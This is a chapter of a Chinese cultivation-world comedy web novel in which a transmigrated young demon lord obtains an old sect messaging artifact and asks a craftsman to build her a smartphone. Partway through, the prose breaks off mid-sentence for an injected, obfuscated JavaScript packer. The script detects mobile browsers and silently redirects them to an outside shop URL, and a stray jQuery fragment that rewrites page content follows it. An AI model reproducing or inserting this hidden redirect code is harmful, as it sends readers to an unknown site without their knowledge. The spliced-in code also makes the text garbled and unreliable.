这无疑是一笔相当划算的买卖,姜溪雪欣然应允。
只是很快她便发现,自己低估了岑照夜的热情,以及那种好像和谁都认识了八百年的自来熟。
恰好是姜溪雪穿书前不太擅长应付的那类人。
陆葵葵才刚替他重新制好一杯快乐水,岑照夜便双手接过,十分郑重地端详了片刻。
黑色液体在竹杯中不断冒出细密气泡,冰块轻轻碰撞杯壁。
岑照夜被困魔界多年,实在无聊得厉害,近来甚至开始尝试吟诗作赋。此刻好不容易遇上能展现才华的场合,自然不会轻易放过。
他清了清嗓子,慢悠悠道:“黑水浮冰玉,杯中冒泡泡。”
姜溪雪:?
下一刻,岑照夜仰头将快乐水一饮而尽,冰凉甜意入喉,细密气泡轻轻炸开,他眼睛顿时亮了亮。
“好喝。”
姜溪雪:不装的时候正常多了。
岑照夜放下空杯,又意犹未尽地补充:“味道奇特,清爽解闷。”
岑照夜喝了可乐这样新奇的东西,心情很不错,端着竹杯坐到了桌边,旁若无人地吃起糕点来。
陆葵葵做的糕点小巧精致,一口一个。
岑照夜一连吃了三块。
待在窗边小窝里的王勇缓缓抬起眼,冷冷瞥了他一眼。
岑照夜察觉到视线,转过头,与王勇对视片刻。“王勇为何总是看我不顺眼,我以前在宗门的时候,那些小猫小狗都很喜欢我的。”
陆葵葵连忙抱起王勇,摸了摸它的脑袋:“王勇怕生。”
王勇抬头看她一眼。
那双翠绿的眼瞳写着我就是讨厌他。
可惜陆葵葵没有看懂。
岑照夜却丝毫没有被小猫嫌弃的自觉,又取了一块糕点,兴致勃勃地看向姜溪雪。“说起来,少尊主要宗门传讯法器做什么?”
姜溪雪正要回答,岑照夜已经自己接了下去。
“莫非少尊主有了什么想法,想要扩展魔界地盘?”
他越说越精神,甚至认真畅想:“若真如此,魔界扩到哪里,我便能去哪里,如此一来,魔界若是一统千川大陆,那我岂不是哪里都能去了。”
随后还补了一句。“我虽然多年不曾与人动手,但摇旗呐喊尚有几分心得。”
乔桑瞥他一眼:“你何时有的心得?”
“从前宗门大比,我常在台下。”
“为何不上台?”
岑照夜坦然道:“台下多热闹啊,这个时候最容易听到一些平时听不到的事情了。”
姜溪雪保持着礼貌的表情:“倒还没有这个打算。”
岑照夜一点也不失望,甚至毫不停顿地换了个话题:“那少尊主以后若还有什么与快乐水一样新奇的东西,请务必告诉我。”
陆葵葵则认真地看向姜溪雪,轻声道:“少尊主既然想要传讯法器,肯定有少尊主的道理。”她抱紧怀中的王勇,又郑重补充。“不管少尊主想做什么,我都愿意追随少尊主。”
姜溪雪被她这份毫无保留的信任弄得有些心虚。
别这样。
她只是想躺着玩手机。
岑照夜显然已经在魔界憋得太久了。
他根本不在乎旁人回答了什么,只要有人肯接话,他便能立刻顺着说下去。从宗门传讯法器一路说到修真界各宗秘闻。
姜溪雪听了一会儿,渐渐明白过来。
这人显然是在魔界待得太久,快要无聊疯了。
眼看他已经准备说起某位宗主将自己的前道侣介绍给了另一位长老,三人纠缠不清的八卦事后,乔桑终于忍无可忍。“行了。”
岑照夜遗憾地停住:“我正说到要紧处,此事知道的人可不多。”
乔桑面无表情道:“你每次说到别人的私事,都觉得是要紧的。”
乔桑闭了闭眼,大概是在克制把他从窗户扔出去的冲动,而后冷笑地看向他:“你的传讯法器呢?”
岑照夜这才想起自己并非空手来蹭吃蹭喝,他抬手掐诀,隔空从旁边院落取来一件器具。
岑照夜将其托起:“在这里。”
姜溪雪再次肯定自己穿书来对了地方,修真界果真是懒人的天堂。
岑照夜将那件旧传讯器递向姜溪雪,语气罕见地真情实感。“少尊主,若下次还有这样的聚会,一定要叫上我。”
姜溪雪接过法器,面上维持着少尊主应有的沉稳。“自然。”
想了想,她又给岑照夜画了一张饼。“以后这样的新鲜事,应当不会少。”
“当真?”岑照夜眼睛顿时亮了。
姜溪雪郑重点头:“当真。”
她准备造手机、修道路、建网,后面还会弄论坛、游戏和短视频。
新鲜事那可太多了。
而姜溪雪表面不动声色,内心已经在狂喜。
好好好。
距离手机,又近了一步!
聚会一散,姜溪雪抱着那件传讯器,一路飞奔回了魔宫。
人一旦有了盼头,走路完全是感觉不到累的,就算是天大的尴尬也能克服的。
她径直来到偏殿门前,抬手敲门,没过多久,门从里面打开。
开门的是剑灵。
来到魔界的这三日,剑灵显然还有些不适应。
这里有床可睡,有地方练剑,不用整日拼死拼活地接悬赏,也不用担心好不容易攒下的灵石,连一本典籍都买不起。
它今日还陪着沈流泉在魔界转了一圈,沈流泉甚至找到了一处绝佳的练剑之地。
日子突然安稳下来,剑灵反而有些无所适从。
剑灵悬在门口,剑尖对着姜溪雪。“软人,你又来做什么?”
姜溪雪来时已经把手里的传讯器仔仔细细研究过一遍。
那东西约莫掌心大小,整体呈祥云形,看材质像是暗铜,器身外圈刻着数道已经有些模糊的宗门云纹,中央嵌着一枚淡青色灵晶。只是年岁太久,那枚灵晶早已黯淡,边缘还裂开了几道细纹。
细看之下,铜制外壳并非浑然一体。
姜溪雪虽不懂,但这不妨碍她觉得此物充满了技术含量。
她难得露出几分急切,眼睛亮得惊人,将手中的传讯器往前一举。
“沈流泉呢?”
她的声音都比平日精神了几分。“这是他要的宗门传讯法器。”
剑灵愣了一下。
显然,它也没料到姜溪雪上午才听沈流泉提起此事,下午便真把东西弄到了手。
剑灵绕着那件传讯器飞了一圈,认真看了看。
“没想到你这个软人,办事还挺快。”
沈流泉原本正在看书,听见门外动静,翻书的动作微微一顿。
他今日在魔界走了一圈,已大致明白魔界是如何运作的,宗门传讯法器这种东西市面上几乎买不到,他本已打算多费些时间,没想到他上午说,下午姜溪雪就把东西搞来了。
沈流泉移步至门口,看着姜溪雪手里的宗门传讯法器,他伸出手:“给我看看。”
姜溪雪立刻将传讯器递过去。
沈流泉接过之后,先是翻看器身外侧,随后指尖凝起一缕极细的灵力,沿着中央灵晶缓缓探入其中,淡青色灵晶轻轻闪了一下。
沈流泉垂眸看了片刻。“法器虽已损坏,但内部符文保存尚算完整。”
姜溪雪心头一喜:“能拆吗?”
“可以。”
姜溪雪立刻放心了。
很好。
虽然这东西看上去像是拆完便再也装不回去。
两人在案前坐下。
沈流泉将传讯器放到桌上,又取出一张空白纸,提笔问道:“敢问少尊主,对通讯法器的外形可有要求?”
姜溪雪一愣。
她这才想起来,自己先前光顾着说功能,竟然把外形忘了。
毕竟在她下意识的觉得,手机就该长成手机的模样。
可沈流泉又没见过手机。
姜溪雪想了想,抬起一只手,在沈流泉面前摊开。
“大约这么大。”
沈流泉的视线随之落在她掌心。
那是一只很
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17766965|209741||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
小的手,肤色白皙,指节纤细,掌心干净柔软,看不见任何练剑,握刀或长期劳作留下的痕迹。
沈流泉只看了一眼,便移开视线,在纸上画出大致轮廓。
姜溪雪继续凭感觉比划:“大概比我的手掌略长。整体要是长方形,边角最好圆一点,拿着不硌手。”
沈流泉一一记下。
姜溪雪继续道:“正面要有一整块显示屏,除了边缘之外,最好不要有太多多余的东西。”
沈流泉抬眸:“显示屏?”
“就是能显示文字和图像的地方。”
姜溪雪用手指在自己掌心划了一下,努力组织语言:“所有内容都会出现在上面。手指碰到显示屏后,里面的文字和图像会跟着移动。”
接下来,两人的交谈完全可以称得上是一场关于爪机的学术讨论。
沈流泉负责解决问题。
姜溪雪负责不断增加需求。
比如,姜溪雪说:“最好还能定时叫人起床。”
沈流泉:“定时传音?”
“差不多,到时辰便响,叫闹钟。”
剑灵觉得自己很有发言权:“软人需要,她能睡七个时辰。”
姜溪雪装作没听见:“而且响了以后,最好还能延迟一刻钟再响。”
沈流泉笔尖停住。“为何?”
“因为刚响的时候不想起。”
“那一刻钟后便想了?”
姜溪雪沉默片刻:“也不一定。”
沈流泉抬眸看她:“既然不想起,为何要设闹钟?”
对话还在持续加码。
剑灵听得兴致缺缺,起初它还绕着两人飞来飞去,偶尔插上一两句话,试图弄明白软人究竟想炼制个什么东西,现在它索性直接放弃了,反正也听不懂。
姜溪雪倒是难得有这样真情实感发表意见的时候。
她平日里连多说两句话都嫌累,如今一提到手机,整个人像被重新充满了电,恨不得当场给沈流泉科普手机发展史。
直到实在想不出还能补充什么,她才意犹未尽地停下。
姜溪雪起身准备离开。
走到门边,她脚步一顿,到底还是有些不放心,转过头问:“你真的都听懂了吗?”
沈流泉抬眸看她。
“少尊主所言虽然繁多,但并不晦涩。”
他稍作停顿,又十分客观地补充:“大多直白,没有听不懂的风险。”
姜溪雪顿时放下心来,满意地点了点头,还冲沈流泉竖起大拇指:“那便好,我很期待你做出的法器。”
沈流泉的目光落在她那根竖起来的手指上。“这是何意?”
姜溪雪解释:“夸你厉害的意思。”
沈流泉略一颔首,表示记下了。
原本已经快要听睡着的剑灵顿时精神起来,也把剑尖笔直竖向上方。
“人,我也夸你。”
姜溪雪没忍住嘴角勾了勾,第一次觉得剑灵还有点可爱。
回到魔宫后,姜溪雪仍有些兴奋,马上就能玩手机了,以后的日子别提多少舒服了。
想到这里,姜溪雪又想起了白日里见到的魔界环境,这环境实在是太差了,魔界的景色并不差,一定要改造,居住环境一定要舒服。
既然她现在正是难得精神亢奋的时候,姜溪雪当即决定,先去研究一下那些杂草应该如何修整。
倒也不必全部拔掉。
若是条件允许,可以依照现代公园的样子规划一番,草木高矮错落,疏密有致,再铺几条石子路,沿路放置几张供人休息的长椅。
说走就走。
姜溪雪对着那片野蛮生长的杂草区域认真研究起来。
这几株太高,可以修矮些。
还有脚边这一株,长得毫无特色,怎么看都只是寻常杂草。
姜溪雪蹲下身,伸出一只手,正准备将它连根拔起研究研究。
身后忽然传来一道清润却带着淡淡忧愁的男声。
“少尊主。”
那声音停顿了一下。“那是我种的草药。”